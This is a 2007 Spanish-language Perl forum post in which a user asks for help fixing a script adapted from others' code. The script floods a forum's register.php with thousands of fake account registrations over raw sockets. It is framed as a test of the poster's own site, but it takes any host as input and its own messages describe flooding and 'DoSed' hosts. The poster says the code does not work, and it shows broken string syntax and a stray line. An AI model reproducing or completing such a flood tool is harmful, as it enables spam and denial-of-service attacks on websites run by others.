Foro - Perl en Español

por **Azrack** » 2007-04-14 13:49 @617

Hola todos. Disculpen, tengo un problema. Miren, tengo un foro que no tiene un sistema antirobots, es decir, te registra sólo con poner user, password y mail.
Entonces estoy intentando hacer un script que cree una cantidad de user para ver si mi foro cae pero no puedo hacerlo funcionar. Ahí dejo mi código para que me corrijan. Gracias.

Sintáxis: [ Descargar ] [ Ocultar ]

#!/usr/bin/perl
use IO::Socket;
$x = 0;
print q(register user xD);
print q(Host |sin http://www.| );
$host = <STDIN>;
chop ($host);
print q(Ruta del foro |ejemplo. /foro/ or /| );
$pth = <STDIN>;
chop ($pth);
start:
print q(Flood Type |1 = Registrar| );
$type = <STDIN>;
chop ($type);
if($type == 1){
while($x != 9999)
{
## Creando el usuario
$uname = "user__" . "$x";
## Ceando el mail del usuario
$umail = "&email=mail__" . "$x";
## String Final a enviar
$postit =
"step=2&username=.$uname.&displayname=.$uname.&password=0123456&passwor
dconfirm=0123456.$umail.%40msn.com&submit=Submit%21";
## Longitud del String
$lrg = length $postit;
## Connect Socket with Variables Provided By User
my $sock = new IO::Socket::INET (
PeerAddr => "$host",
PeerPort => "80",
Proto => "tcp",
);
die "\nThe Socket Can't Connect To The Desired Host or the Host is
MayBe DoSed: $!\n" unless $sock;
Forums
print $sock "POST $pth"."register.php HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/pla
in;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Accept-Encoding: gzip, deflate\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US;
rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Connection: Keep-Alive\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
syswrite STDOUT, ".";
$x++;
}
}
elsif ($type != 1){
print q(
ÉÍÍÍÍÍÍÍÍÍÍÍÍ»
º Solo 1 wey º
ÈÍÍÍÍÍÍÍÍÍÍÍÍ¼
);
goto start;
}

Si desean dejo también la url de mi foro. Bueno, espero su ayuda. Gracias.
PD: me basé en otro código para hacerlo, así que el código no es totalmente mío.

Foro - Perl en Español

Problema con envío datos

Problema con envío datos

Publicidad

¿Quién está conectado?